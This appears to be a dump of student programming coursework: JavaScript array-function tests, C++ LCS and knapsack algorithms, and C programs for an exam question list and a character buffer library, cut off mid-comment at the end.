assert.deepEqual(countNumbersAbove([2,3,4,5,6],3),3); assert.deepEqual(countNumbersAbove([2,3,4,5],10),0); assert.deepEqual(countNumbersAbove([11,12,13],10),3); assert.deepEqual(countNumbersAbove([],3),0); assert.deepEqual(countNumbersAbove([2,3,4,5,6],6),0); assert.deepEqual(reverseNumbers(_2_4),[ 4, 2 ]); assert.deepEqual(_2_4,[2,4]); assert.deepEqual(reverseNumbers([1,3]),[ 3, 1 ]); assert.deepEqual(reverseNumbers([2,3]),[ 3, 2 ]); assert.deepEqual(reverseNumbers([22,3,4,5]),[ 5, 4, 3, 22 ]); assert.deepEqual(reverseArray(_2_4),[ 4, 2 ]); assert.deepEqual(_2_4,[2,4]); assert.deepEqual(reverseArray([1,3]),[ 3, 1 ]); assert.deepEqual(reverseArray([2,3]),[ 3, 2 ]); assert.deepEqual(reverseArray([22,3,4,5]),[ 5, 4, 3, 22 ]); assert.deepEqual(indexOfNumber([2,3,4,5,6],3),1); assert.deepEqual(indexOfNumber([2,3,4,5],10),-1); assert.deepEqual(indexOfNumber([11,12,13,10],10),3); assert.deepEqual(indexOfNumber([],3),-1); assert.deepEqual(indexOfNumber([2,3,4,5,6],6),4); assert.deepEqual(extractDigit(2345),[2,3,4,5]); assert.deepEqual(extractDigit(23455),[2,3,4,5,5]); assert.deepEqual(extractDigit(780),[7,8,0]); assert.equal(isSorted([1,2,3,4,5]),true); assert.equal(isSorted([1]),true); assert.equal(isSorted([1,2,5,4,3]),false); assert.equal(isSorted([5,4,3,2,1]),false); assert.equal(isInDecendingOrder([1,2,3,4,5]),false); assert.equal(isInDecendingOrder([1]),true); assert.equal(isInDecendingOrder([1,2,5,4,3]),false); assert.equal(isInDecendingOrder([5,4,3,2,1]),true); assert.deepEqual(intersectionOf2Arrays([1,2,3,4,5],[4,5,6,3,7]),[4,5,3]); assert.deepEqual(intersectionOf2Arrays([4,5,6,7],[1,2,3,4]),[4]); assert.deepEqual(intersectionOf2Arrays([1,2,3,4],[5,6,7,8]),[]); assert.deepEqual(intersectionOf2Arrays([0],[0]),[0]); assert.deepEqual(intersectionOf2Arrays(["keerthy","amju","moothu"],["amju"]),["amju"]); assert.deepEqual(uniqueElements([1,2,3,4,1,2]),[1,2,3,4]); assert.deepEqual(uniqueElements(["keer","amju","moothu","amju"]),["keer","amju","moothu"]); assert.deepEqual(uniqueElements([]),[]); assert.deepEqual(uniqueElements([1,2,3]),[1,2,3]); assert.deepEqual(unionOf2Array([1,2,3,4,5],[4,5,6,3,7]),[1,2,3,4,5,6,7]); assert.deepEqual(unionOf2Array([4,5,6,7],[1,2,3,4]),[4,5,6,7,1,2,3]); assert.deepEqual(unionOf2Array([1,2,3,4],[5,6,7,8]),[1,2,3,4,5,6,7,8]); assert.deepEqual(unionOf2Array([0],[0]),[0]); assert.deepEqual(unionOf2Array(["keerthy","amju"],["moothu","amju"]),["keerthy","amju","moothu"]); assert.deepEqual(unionOf2Array([10,10],[10]),[10]);
4ecebfa825e5118abf82f6fa229f32bd1f2512e7
[ "JavaScript" ]
3
JavaScript
keerthyeb/ArrayAssingnment
accd19f9a13bd7fcda4601989291d6ad5752dfba
abc4bd869a1e91d5748fc0d6f0e3d97e0642d14d
refs/heads/master
<repo_name>Ayush-Rawal/DAA<file_sep>/4-2.cpp // Implement Longest Common Subsequence dynamic programming algorithm #include<iostream> #include<string> #include<vector> #include<utility> using namespace std; void printLCS(const vector<vector<pair<int, string>>> v, const string & s, const int i, const int j) { if (i == 0 || j == 0) { return ; } if (v.at(i).at(j).second == "D") { printLCS(v, s, i-1, j-1); cout<<s.at(i-1)<<endl; } else if(v.at(i).at(j).second == "U") { printLCS(v, s, i-1, j); } else { printLCS(v, s, i, j-1); } } void findLCS(const string & s1, const string & s2) { const int n = s1.length(), m = s2.length(); vector<vector<pair<int, string>>> v(n+1, vector<pair<int, string>>(m+1, pair<int, string>(0, "n"))); for(int i = 0; i < n; i++) { v.at(i).at(0).first = 0; } for(int j = 0; j < m; j++) { v.at(0).at(j).first = 0; } for(int i = 1; i < n + 1; i++) { for(int j = 1; j < m + 1; j++) { if(s1.at(i-1) == s2.at(j-1)) { v.at(i).at(j) = make_pair(v.at(i-1).at(j-1).first + 1, "D"); } else if (v.at(i-1).at(j).first >= v.at(i).at(j-1).first) { v.at(i).at(j) = make_pair(v.at(i-1).at(j).first, "U"); } else { v.at(i).at(j) = make_pair(v.at(i).at(j-1).first, "L"); } } } printLCS(v, s1, n, m); } int main(void) { findLCS("ABDCABD", "ADBDCBD"); return 0; } <file_sep>/3-26.cpp // Dynamic and greedy Solution to 0-1 Knapsack problem #include<iostream> #include<vector> #include<queue> using namespace std; struct item { int benefit, weight; item(int b, int w): benefit(b), weight(w) {} }; int greedyMaxWeight(vector<item> items, int maxWeight) { auto cmp = [](item left, item right) {return ((left.weight) <= (right.weight));}; priority_queue<item, vector<item>, decltype(cmp)> q(cmp); for(item i : items) { q.push(i); } int currWeight = 0, currBenefit = 0; while(!q.empty()) { if(currWeight + q.top().weight <= maxWeight) { currWeight += q.top().weight; currBenefit += q.top().benefit; } q.pop(); } return currBenefit; } int greedyMaxRatio(vector<item> items, int maxWeight) { auto cmp = [](item left, item right) {return ((left.benefit/left.weight) <= (right.benefit/right.weight));}; priority_queue<item, vector<item>, decltype(cmp)> q(cmp); for(item i : items) { q.push(i); } int currWeight = 0, currBenefit = 0; while(!q.empty()) { if(currWeight + q.top().weight <= maxWeight) { currWeight += q.top().weight; currBenefit += q.top().benefit; } q.pop(); } return currBenefit; } float greedyMaxWeightFractionalKnapsack(vector<item> items, float maxWeight) { auto cmp = [](item left, item right) {return ((left.weight) <= (right.weight));}; priority_queue<item, vector<item>, decltype(cmp)> q(cmp); for(item i : items) { q.push(i); } float currWeight = 0, currBenefit = 0; while(!q.empty()) { float selectedWeightRatio = min((maxWeight - currWeight)/q.top().weight, 1.0f); currBenefit += q.top().benefit * selectedWeightRatio; currWeight += q.top().weight * selectedWeightRatio; q.pop(); } return currBenefit; } float greedyMaxRatioFractionalKnapsack(vector<item> items, float maxWeight) { auto cmp = [](item left, item right) {return ((left.benefit/left.weight) <= (right.benefit/right.weight));}; priority_queue<item, vector<item>, decltype(cmp)> q(cmp); for(item i : items) { q.push(i); } float currWeight = 0, currBenefit = 0; while(!q.empty()) { float selectedWeightRatio = min((maxWeight - currWeight)/q.top().weight, 1.0f); currBenefit += q.top().benefit * selectedWeightRatio; currWeight += q.top().weight * selectedWeightRatio; q.pop(); } return currBenefit; } int dynamicKnapsack(vector<item> items, int maxWeight) { if (items.empty() || maxWeight <= 0) { return 0; } item lastItem = items.back(); items.pop_back(); return max( lastItem.benefit + dynamicKnapsack(items, maxWeight - lastItem.weight), dynamicKnapsack(items, maxWeight)); } int main(void) { int W, n; vector<item> list; cout<<"Enter maximum weight"<<endl; cin>>W; cout<<"How many elements? "; cin>>n; cout<<"Enter "<<n<<" benefits and weights"<<endl; for(int i = 0; i < n; i++) { int b, w; cin>>b>>w; list.push_back(item(b, w)); } cout<<"maximum benefit (dynamic) is " << dynamicKnapsack(list, W)<<endl; cout<<"maximum benefit (greedy maxWeight) is "<< greedyMaxWeight(list, W)<<endl; cout<<"maximum benefit (greedy maxRatio) is "<< greedyMaxRatio(list, W)<<endl; cout<<"maximum benefit (greedy maxWeight Fractional) is "<< greedyMaxWeightFractionalKnapsack(list, W)<<endl; cout<<"maximum benefit (greedy maxRatio Fractional) is "<< greedyMaxRatioFractionalKnapsack(list, W)<<endl; return 0; }
beee769501edc1ff2d6b7146dee13ba8fd874be4
[ "C++" ]
2
C++
Ayush-Rawal/DAA
bc40454351f305ae3a4d93df01d7a4cac7ec87a2
d22a963fe2855e3cadfc6557ed990d49e98e3f75
refs/heads/main
<file_sep>logging.level.org.springframework=ERROR spring.datasource.url=jdbc:mysql://localhost:3306/manalysis?useUnicode=true&useJDBCCompliantTimezoneShift=true&useLegacyDatetimeCode=false&serverTimezone=UTC spring.datasource.username=root spring.datasource.password=<PASSWORD> spring.jpa.hibernate.ddl-auto=update spring.jpa.properties.hibernate.dialect=org.hibernate.dialect.MySQL5InnoDBDialect spring.jackson.serialization.fail-on-empty-beans=false
25f01ea005e2392d591e8ede1ae8fae327fb2dea
[ "INI" ]
1
INI
aydinmetee/money-analysis
4a7092ffe550cd33718dc07a5f090d40eac00169
2929285783ee0844bb91d3114b0fbcc0a198cd63
refs/heads/master
<file_sep>#include <stdio.h> #include <stdlib.h> #include <string.h> #define MAX_STRING_SIZE 256 typedef enum{FALSE,TRUE}BOOL; typedef struct { char* content; BOOL status; }Answer; typedef struct Question { char* text; unsigned int mark; Answer** answers; unsigned int numAnswers; struct Question* pNext; }Question; typedef struct { Question* phead; }Exam; // Forward Declarations int AddQuestion(); int DeleteQuestion(); int PrintExam(); int initExam(); void CleanUp(); Exam exam; int AddQuestion(){ Question *pQuestion; unsigned int numberOfAnswers = 0; unsigned int i = 0; char tempStr[50]; char tempAnswerStatus[2]; printf("\nAdd a new question. "); pQuestion = (Question*)malloc(sizeof(Question)); //Answer *answer = (Answer *)malloc(sizeof(Answer)); fflush(stdin); pQuestion->pNext = exam.phead; exam.phead = pQuestion; printf("\nplease enter the question below:\n"); if (fgets(tempStr, sizeof(tempStr), stdin)) { pQuestion->text = (char *)malloc(strlen(tempStr)+1); strcpy(pQuestion->text, tempStr); } fflush(stdin); printf("\nHow many answers are there?"); scanf("%d", &numberOfAnswers); pQuestion->numAnswers = numberOfAnswers; fflush(stdin); pQuestion->answers = (Answer**)malloc(sizeof(Answer*)*numberOfAnswers); for (i = 0; i < numberOfAnswers; i++) { Answer *pAnswer = (Answer*)malloc(sizeof(Answer)); printf("\nEnter answer #%d:\n", i+1); if(fgets(tempStr, sizeof(tempStr), stdin)) { pAnswer->content = (char *)malloc(strlen(tempStr)+1); strcpy(pAnswer->content, tempStr); } fflush(stdin); printf("Is it correct or wrong? correct = 1, wrong = 0: "); if(fgets(tempAnswerStatus, sizeof(tempAnswerStatus), stdin)) { pAnswer->status = (BOOL)atoi(tempAnswerStatus); } fflush(stdin); pQuestion->answers[i] = pAnswer; } return 1; } int DeleteQuestion(){ Question *currentpQuestion; Question *trackerpQuestion; unsigned int i = 0; unsigned int questionCounter = 1; unsigned int questionToDelete = 0; printf("Which question would you like to delete? Please enter a number (1, 2, ...)\n"); scanf("%d", &questionToDelete); fflush(stdin); printf("\nbefore both pointer instantiation\n"); currentpQuestion = exam.phead; trackerpQuestion = exam.phead; printf("gets before the while\n"); while(currentpQuestion) { printf("gets inside the while\n"); if(questionCounter == questionToDelete) { printf("gets inside the is equals to equals if\n"); if(currentpQuestion == exam.phead) { printf("is equals to phead\n"); exam.phead = currentpQuestion->pNext; printf("gets after the exam.phead == next\n"); for(i = 0; i < currentpQuestion->numAnswers; i++){ free(currentpQuestion->answers[i]->content); } printf("gets after the for loop KYLE KYLE KYLE \n"); free(currentpQuestion->answers); free(currentpQuestion->text); free(currentpQuestion); }else if (currentpQuestion->pNext == NULL) { printf("the next one is null\n"); trackerpQuestion->pNext = NULL; for(i = 0; i < currentpQuestion->numAnswers; i++){ free(currentpQuestion->answers[i]->content); } free(currentpQuestion->answers); free(currentpQuestion->text); free(currentpQuestion); }else if (currentpQuestion->pNext != NULL && currentpQuestion != exam.phead) { printf("Neither of the previous statements\n"); trackerpQuestion->pNext = currentpQuestion->pNext; for(i = 0; i < currentpQuestion->numAnswers; i++){ free(currentpQuestion->answers[i]->content); } free(currentpQuestion->answers); free(currentpQuestion->text); free(currentpQuestion); } printf("END OF WHILE YO"); questionCounter++; trackerpQuestion = currentpQuestion; currentpQuestion = currentpQuestion->pNext; } } return 1; } int PrintExam(){ Question *pQuestion; unsigned int i = 0; unsigned int currentQuestion = 1; if(exam.phead == NULL){ printf("There are no questions to print"); }else{ pQuestion = exam.phead; while(pQuestion){ printf("%u. %s\n", currentQuestion, pQuestion->text); for(i = 0; i < pQuestion->numAnswers; i++) { printf("\t#%d. %s\n",i+1,pQuestion->answers[i]->content); } printf("\n"); currentQuestion++; pQuestion = pQuestion->pNext; } printf("\nEnd of questions.\n\n"); fflush(stdin); } return 1; } int initExam(){ exam.phead = NULL; return 1; } void CleanUp(){ } int main(void) { BOOL bRunning = TRUE; char response; initExam(); while(bRunning) { printf("MENU:\n" "1. Add a new question.\n" "2. Delete a question.\n" "3. Print the Exam.\n" "4. Quit.\n" ); scanf("%c",&response); switch(response) { case '1': if(!AddQuestion()) return 1; break; case '2': if(!DeleteQuestion()) return 1; break; case '3': if(!PrintExam()) return 1; break; case '4': CleanUp(); bRunning = FALSE; break; default: printf("Please enter a valid option\n"); break; } } return 0; }<file_sep>/* * File Name: buffer.h * Compiler: MS Visual Studio 2014 * Author: <NAME> 040 637 168 * Assignment: 1 * Date: September 23 2014 * Professor: <NAME> * Purpose: To retrieve and store data (chars) in a quick and timely manor * Function list: Buffer *b_create(short init_capacity, char inc_factor, char o_mode); * pBuffer b_addc(pBuffer const pBD, char symbol) * int b_reset(Buffer * const pBD) * void b_destroy(Buffer *const pBD); * int b_ifFull(Buffer * const pBD); * short b_getsize(Buffer * const pBD); * short b_getcapacity(Buffer * const pBD); * short b_setmark(Buffer *const pBD, short mark); * short b_getmark(Buffer * const pBD); * int b_getmode(Buffer * const pBD); * int b_load(FILE *const fi, Buffer *const pBD); * int b_isempty(Buffer *const pBD); * int b_eob(Buffer * const pBD); * char b_getc(Buffer * const pBD); * int b_print(Buffer * const pBD); * Buffer *b_pack(Buffer * const pBD); * char b_get_r_flag(Buffer *const pBD); * short b_retract(Buffer *const pBD); * short b_retract_to_mark(Buffer *const pBD); * short b_get_getc_offset(Buffer * const pBD); * char *b_get_chloc(Buffer *const pBD, short offset); */ #ifndef BUFFER_H_ #define BUFFER_H_ /*#pragma warning(1:4001) *//*to enforce C89 type comments - to make //comments an warning */ /*#pragma warning(error:4001)*//* to enforce C89 comments - to make // comments an error */ /* standard header files */ #include <stdio.h> /* standard input/output */ #include <malloc.h> /* for dynamic memory allocation*/ #include <limits.h> /* implementation-defined data type ranges and limits */ /* constant definitions */ /* You may add your own constant definitions here */ #define R_FAIL_1 -1 /* fail return value */ #define R_FAIL_2 -2 /* fail return value */ #define LOAD_FAIL -2 /* load fail error */ #define SET_R_FLAG 1 /* realloc flag set value */ #define SUCCESS 1 /*success value for function exit*/ #define FIXED_SIZE_MODE 0 /*buffer mode fixed size*/ #define ADDITIVE_SELF_INCREMENTING_MODE 1 /*Buffer Mode additive self incrementing*/ #define MULTIPLICATIVE_SELF_INCREMENTING_MODE -1 /*Buffer Mode multiplicative self incrementing*/ #define TRUE 1 #define FALSE 0 /* user data type declarations */ typedef struct BufferDescriptor { char *ca_head; /* pointer to the beginning of character array (character buffer) */ short capacity; /* current dynamic memory size (in bytes) allocated to character buffer */ short addc_offset; /* the offset (in chars) to the add-character location */ short getc_offset; /* the offset (in chars) to the get-character location */ short mark_offset; /* the offset (in chars) to the mark location */ char inc_factor; /* character array increment factor */ char r_flag; /* reallocation flag */ char mode; /* operational mode indicator*/ int eob; /* end-of-buffer flag */ } Buffer, *pBuffer; /*typedef Buffer *pBuffer;*/ typedef Buffer *pBuffer; /* function declarations Place your function declarations here. Do not include the function header comments here. Place them in the buffer.c file */ Buffer *b_create(short init_capacity, char inc_factor, char o_mode); pBuffer b_addc(pBuffer const pBD, char symbol); int b_reset(Buffer * const pBD); void b_destroy(Buffer *const pBD); int b_ifFull(Buffer * const pBD); short b_getsize(Buffer * const pBD); short b_getcapacity(Buffer * const pBD); short b_setmark(Buffer *const pBD, short mark); short b_getmark(Buffer * const pBD); int b_getmode(Buffer * const pBD); int b_load(FILE *const fi, Buffer *const pBD); int b_isempty(Buffer *const pBD); int b_eob(Buffer * const pBD); char b_getc(Buffer * const pBD); int b_print(Buffer * const pBD); Buffer *b_pack(Buffer * const pBD); char b_get_r_flag(Buffer *const pBD); short b_retract(Buffer *const pBD); short b_retract_to_mark(Buffer *const pBD); short b_get_getc_offset(Buffer * const pBD); char *b_get_chloc(Buffer *const pBD, short offset); #endif <file_sep>#include <stdlib.h> #include <stdio.h> #include <String.h> #include "buffer.h" /* Purpose: Create and allocate memory for a Buffer descriptor * containing character buffer using init_capacity, inc_factor, o_mode * Author: <NAME> * Version: 1.0 Spetember 23, 2014 * Called Functions: malloc(), calloc() and free() * Parameters: init_capacity -- Type: short Range: 0 - SHRT_MAX * inc_factor -- Type: char range: if(a) -- 1-255 * if(m) -- 1-100 * o_mode -- Type: char Range: a,m,f * Return Value: Pointer to a Buffer Struct * Algorithm: creates buffer pointer, allocated memory, sets mode, sets capacity, returns pointer to buffer. * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ Buffer *b_create(short init_capacity, char inc_factor, char o_mode){ Buffer *pBuff; /*validating perameters*/ if((init_capacity < 1) || (inc_factor < 1) || (o_mode != 'm' && o_mode != 'a' && o_mode != 'f')) return NULL; /*Allocating enough memory for one buffer descriptor struct*/ pBuff = (Buffer*)calloc(1 , sizeof(Buffer)); /*tests if the memory was not located*/ if(pBuff == NULL) return NULL; /*Allocating enough memory for the array of characters (buffer)*/ pBuff->ca_head = (char*)malloc(sizeof(char)*init_capacity); /*tests if the memory was not located*/ if(pBuff->ca_head == NULL) return NULL; pBuff->mode = o_mode; /*switch statement to sort threw functionality on each mode type*/ switch(o_mode){ case 'f': /*fixed mode type*/ pBuff->inc_factor = 0; pBuff ->mode = FIXED_SIZE_MODE; break; case 'a': /*Additive mode type*/ pBuff->inc_factor = inc_factor; pBuff->mode = ADDITIVE_SELF_INCREMENTING_MODE; break; case 'm': /*multiplicative mode type*/ pBuff->inc_factor = inc_factor; pBuff->mode = MULTIPLICATIVE_SELF_INCREMENTING_MODE; break; } /*change the capacity within the buffer descripter to the initial capacity*/ pBuff->capacity = init_capacity; return pBuff; } /* Purpose: return a value based on whether or not the buffer capacity is reached * * Author: <NAME> * Version: 1.0 Spetember 23, 2014 * Called Functions: none * Parameters: pBD -- Type: Pointer to Buffer struct * Return Value: int * Algorithm: returns true value is capacity is equal to the ofset, otherwise returns false * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ int b_isfull(Buffer *const pBD){ /*validate parameters*/ if(pBD == NULL) return R_FAIL_1; /*check if the capacity is reached*/ if(pBD->addc_offset == pBD->capacity) return TRUE; /*if capacity is not reached return false*/ return FALSE; } /* Purpose: To add a character to the next spot in the character buffer * Author: <NAME> * Version: 1.0 Spetember 23, 2014 * Called Functions: b_isfull(), realloc() * Parameters: pBD -- Type: Pointer to Buffer descriptor struct * symbol -- Type: char Range: anything * Return Value: Pointer to a Buffer Struct * Algorithm: determins capacity, and mode, then adds a character accordingly. * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ pBuffer b_addc(pBuffer const pBD, char symbol){ /*validate parameters*/ if(pBD == NULL) return NULL; /*initialise r_flag*/ pBD->r_flag = 0; /*validate whether the buffer is full or not*/ if(b_isfull(pBD)){ /*variable creation*/ char *tempBuffer; short newIncrement = 0; short newCapacity = 0; short differenceInBufferSize = SHRT_MAX - pBD->capacity; /*is the buffer is full*/ if(differenceInBufferSize == 0) return NULL; /*switch statement to check which mode is current and accomplish associated tasks*/ switch(pBD->mode){ case FIXED_SIZE_MODE: return NULL; case ADDITIVE_SELF_INCREMENTING_MODE: /*new capacity is incremented by the increment factor*/ newCapacity = pBD->capacity + pBD->inc_factor; /*break if the new capacity is larger than the max buffer size*/ if(newCapacity > SHRT_MAX) return NULL; break; case MULTIPLICATIVE_SELF_INCREMENTING_MODE: /*break if max buffer size is reached*/ if(pBD->capacity == SHRT_MAX) return NULL; newIncrement = (differenceInBufferSize * pBD->inc_factor) / 100; /*if capacity is larger than the max buffer size, increase capacity*/ if((pBD->capacity + newIncrement) > SHRT_MAX){ newCapacity += differenceInBufferSize; break; } /*increase capacity size */ newCapacity = pBD->capacity + newIncrement; break; } /*reallocate memory for new capacity size*/ tempBuffer = (char*)realloc(pBD->ca_head, newCapacity); /*if memory is not reallocated break*/ if(tempBuffer == NULL) return NULL; if(tempBuffer != pBD->ca_head) pBD->r_flag = SET_R_FLAG; /*set buffer descriptor with values*/ pBD->ca_head = tempBuffer; pBD->capacity = newCapacity; } /*add the character to the end of the buffer, and increment the buffer add character offset variable*/ pBD->ca_head[pBD->addc_offset] = symbol; pBD->addc_offset++; return pBD; } /* Purpose: Resetting the pointer to buffer descriptor to all values so it appears empty * Author: <NAME> * Version: 1.0 Spetember 23, 2014 * Called Functions: none * Parameters: pBD -- Type: Pointer to Buffer descriptor struct * Return Value: integer * Algorithm: checks pBD to be NULL if not resets add, getx, and mark offset to 0; * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ int b_reset(Buffer *const pBD){ /*vlidate parameters*/ if(pBD == NULL) return R_FAIL_1; /*reset values to 0*/ pBD->addc_offset = 0; pBD->getc_offset = 0; pBD->mark_offset = 0; return SUCCESS; } /* Purpose: To free all the memory allocated to "destroy" the buffer descriptor pointer * Author: <NAME> * Version: 1.0 Spetember 23, 2014 * Called Functions: free() * Parameters: pBD -- Type: Pointer to Buffer descriptor struct * Return Value: void * Algorithm: if the character buffer is not null, release (free) the memory allocated for it, then/ if not, * free mem for buffer descriptor structure * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ void b_destroy(Buffer *const pBD){ if(pBD == NULL) return; /*free memory for the buffer, if it is not null, and the buffer descriptor*/ if(pBD->ca_head != NULL) free(pBD->ca_head); free(pBD); } /* Purpose: to retrive the size of the used space in the character buffer * Author: <NAME> * Version: 1.0 Spetember 23, 2014 * Called Functions: none * Parameters: pBD -- Type: Pointer to Buffer descriptor struct * Return Value: short * Algorithm: if pBD is not null, it returns the addc offset * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ short b_getsize(Buffer *const pBD){ if(pBD == NULL) return R_FAIL_1; /*return the offset*/ return pBD->addc_offset; } /* Purpose: Retriving the capacity * Author: <NAME> * Version: 1.0 Spetember 23, 2014 * Called Functions: none * Parameters: pBD -- Type: Pointer to Buffer descriptor struct * Return Value: short * Algorithm: checks pBD to be NULL, if not, returns the capacity; * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ short b_getcapacity(Buffer *const pBD){ if(pBD == NULL) return R_FAIL_1; /*return the capacity*/ return pBD->capacity; } /* Purpose: Setting the mark to a specific value * Author: <NAME> * Version: 1.0 Spetember 23, 2014 * Called Functions: none * Parameters: pBD -- Type: Pointer to Buffer descriptor struct mark -- Type: short Range: 0-capacity * Return Value: short * Algorithm: checks if parameters are acceptable, if they are not, mark_offset is equal to the size of used buffer space returns the mark_offset * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ short b_setmark(Buffer *const pBD, short mark){ /*validate parameters*/ if(pBD== NULL || pBD->ca_head == NULL || pBD->capacity > SHRT_MAX) pBD->mark_offset = pBD->addc_offset; else pBD->mark_offset = mark; /*return the marked offset*/ return pBD->mark_offset; } /* Purpose: returns the mark_offset * Author: <NAME> * Version: 1.0 Spetember 23, 2014 * Called Functions: none * Parameters: pBD -- Type: Pointer to Buffer descriptor struct * Return Value: short * Algorithm: checks pBD to be NULL if not returns mark_offset; * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ short b_getmark(Buffer *const pBD){ if(pBD == NULL) return R_FAIL_1; /*retrn the mark offset*/ return pBD->mark_offset; } /* Purpose: returns the mode value * Author: <NAME> * Version: 1.0 Spetember 23, 2014 * Called Functions: none * Parameters: pBD -- Type: Pointer to Buffer descriptor struct * Return Value: integer * Algorithm: checks if pBD is null, if not it returns the mode. * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ int b_getmode(Buffer *const pBD){ if(pBD == NULL) return R_FAIL_1; /*return the mode*/ return pBD->mode; } /* Purpose: loading the file * Author: <NAME> * Version: 1.0 Spetember 23, 2014 * Called Functions: feof(), b_addc(), fgetc() * Parameters: pBD -- Type: Pointer to Buffer descriptor struct fi -- Type: pointer to file Range: any file * Return Value: integer * Algorithm: error checks and while there are characters in the file it lods. * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ int b_load(FILE *const fi, Buffer *const pBD){ char retrievedChar; /*retrieve the first character*/ retrievedChar = (char)fgetc(fi); /*validate parameters*/ if(fi == NULL || pBD == NULL) return R_FAIL_1; /*loops through the file contents and load the characters into the buffer*/ while(!feof(fi)){ /*if the retrived character is null break*/ if(b_addc(pBD, retrievedChar) == NULL){ return LOAD_FAIL; } /*get the next character*/ retrievedChar = (char)fgetc(fi); } /*return the offset*/ return pBD->addc_offset; } /* Purpose: checking if the the buffer is empty or not * Author: <NAME> * Version: 1.0 Spetember 23, 2014 * Called Functions: none * Parameters: pBD -- Type: Pointer to Buffer descriptor struct * Return Value: integer * Algorithm: error checks and returns 0 if addc_offset is at point 0, otherwise returns false. * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ int b_isempty(Buffer * const pBD){ if(pBD == NULL) return R_FAIL_1; /*if the offset is at the head of the buffer return tru for empty*/ if(pBD->addc_offset == 0) return TRUE; /*return false if the offset is not at the head*/ return FALSE; } /* Purpose: finding the end of file character * Author: <NAME> * Version: 1.0 Spetember 23, 2014 * Called Functions: none * Parameters: pBD -- Type: Pointer to Buffer descriptor struct * Return Value: integer * Algorithm: checks pBD to be NULL , ootherwise returns the value of EOB * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ int b_eob(Buffer *const pBD){ if(pBD == NULL) return R_FAIL_1; /*return end of buffer*/ return pBD->eob; } /* Purpose: Retrieving the character at a specific location * Author: <NAME> * Version: 1.0 Spetember 23, 2014 * Called Functions: none * Parameters: pBD -- Type: Pointer to Buffer descriptor struct * Return Value: char * Algorithm: error checks, is it has reached the end of the the File, return end of file character, * otherwise, retrieve the character, increase the offset and return the character. * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ char b_getc(Buffer *const pBD){ char retrievedChar; /*validate parameters*/ if(pBD == NULL) return R_FAIL_2; /*if the character offset is equal to the add character offset the buffer is full return end of buffer*/ if(pBD->getc_offset == pBD->addc_offset){ pBD->eob = TRUE; return R_FAIL_1; } /*butter is not at end set end of buffer to false*/ pBD->eob = FALSE; /*get the character at the current offset and increment*/ retrievedChar = pBD->ca_head[pBD->getc_offset]; pBD->getc_offset++; return retrievedChar; } /* Purpose: print the contents of the buffer * Author: <NAME> * Version: 1.0 Spetember 23, 2014 * Called Functions: b_isempty(), b_getc() * Parameters: pBD -- Type: Pointer to Buffer descriptor struct * Return Value: integer * Algorithm: check parameters for errors, if the buffer is not empty, print the contents of the buffer until * eof is reached then returns the number of characters printed and resets the offset * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ int b_print(Buffer *const pBD){ int charsPrinted = 0; char currentChar; /*validate characters*/ if(pBD == NULL) return R_FAIL_1; /*if the buffer is not empty*/ if(!b_isempty(pBD)){ /*use get char*/ currentChar = b_getc(pBD); /*loop through buffer until the end of buffer is true*/ while(b_eob(pBD) == FALSE){ /*print the characters*/ printf("%c", currentChar); charsPrinted++;/*increase the amount of characters printed*/ /*change to the next character in the buffer*/ currentChar = b_getc(pBD); } printf("\n"); /*change the character offset back to the start*/ pBD->getc_offset = 0; return charsPrinted; } printf("The Buffer is empty\n"); return charsPrinted; } /* Purpose: packs the contents of the buffer * Author: <NAME> * Version: 1.0 Spetember 23, 2014 * Called Functions: realloc() * Parameters: pBD -- Type: Pointer to Buffer descriptor struct * Return Value: pointer to buffer descriptor struct * Algorithm: checks the parameters for errors, then attempts to shrink the buffer for enough room for one char * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ Buffer *b_pack(Buffer *const pBD){ char *tempBuffer; short thisCapacity = 0; /*validate parameters*/ if(pBD == NULL) return NULL; /*set temp capacity to size plus one*/ thisCapacity = (pBD->addc_offset+1) * sizeof(char); /*if it is at max buffer capacity return pointer to buffer descriptor*/ if(thisCapacity == SHRT_MAX) return pBD; /*reallocate memory for the extra spot*/ tempBuffer = (char *)realloc(pBD->ca_head, thisCapacity); if(tempBuffer == NULL) return NULL; /*set the flag if the buffer is not at the head*/ if(tempBuffer != pBD->ca_head) pBD->r_flag = SET_R_FLAG; /*set buffer descriptor variables*/ pBD->ca_head = tempBuffer; pBD->capacity = thisCapacity; return pBD; } /* Purpose: returning r_flag * Author: <NAME> * Version: 1.0 Spetember 23, 2014 * Called Functions: none * Parameters: pBD -- Type: Pointer to Buffer descriptor struct * Return Value: char * Algorithm: checks the parameters for errors, then returns r_flag * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ char b_get_r_flag(Buffer *const pBD){ if(pBD == NULL) return R_FAIL_1; /*return the r_flag*/ return pBD->r_flag; } /* Purpose: retracts the get character offset * Author: <NAME> * Version: 1.0 Spetember 23, 2014 * Called Functions: none * Parameters: pBD -- Type: Pointer to Buffer descriptor struct * Return Value: short * Algorithm: hecks the parameters for errors, then decriments the offset and returns it * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * 